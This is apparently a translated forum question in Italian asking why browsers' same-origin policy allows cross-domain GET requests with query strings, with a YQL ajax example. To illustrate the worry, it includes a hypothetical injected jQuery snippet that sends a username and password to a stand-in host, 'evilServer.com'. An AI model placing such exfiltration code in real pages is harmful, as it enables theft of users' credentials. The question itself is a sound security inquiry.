Da quello che ho capito, lo stesso criterio di origine impedisce agli script di una pagina web di comunicare con i server al di fuori del dominio attuale (usando post, xmlhttprequest, ecc.). Supponevo che anche le richieste di ottenere (con argomenti) tra domini fossero proibite. Questo è stato fino a quando ho iniziato a leggere sull'utilizzo di YQL per bypassare alcune restrizioni della stessa politica di origine. Gli esempi di codice utilizzano tutti una richiesta get ajax con parametri.
$.ajax({
type: "GET",
url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),
Quindi diciamo che alcuni malintenzionati riescono a iniettare del malvagio javascript in una pagina web che raccoglie gli accessi. Qualcosa come:
$.ajax({
type: "GET",
url: 'http://evilServer.com?username=PresidentSkroob&password=12345
Il server ricevente può registrare ogni richiesta che arriva. Perché è permesso? Capisco perché desideri consentire le richieste di acquisizione senza dati (ad esempio l'importazione di jQuery), ma non vedo un motivo per consentire il passaggio di stringhe di query su più domini. C'è un motivo valido per cui la maggior parte dei browser lo consente?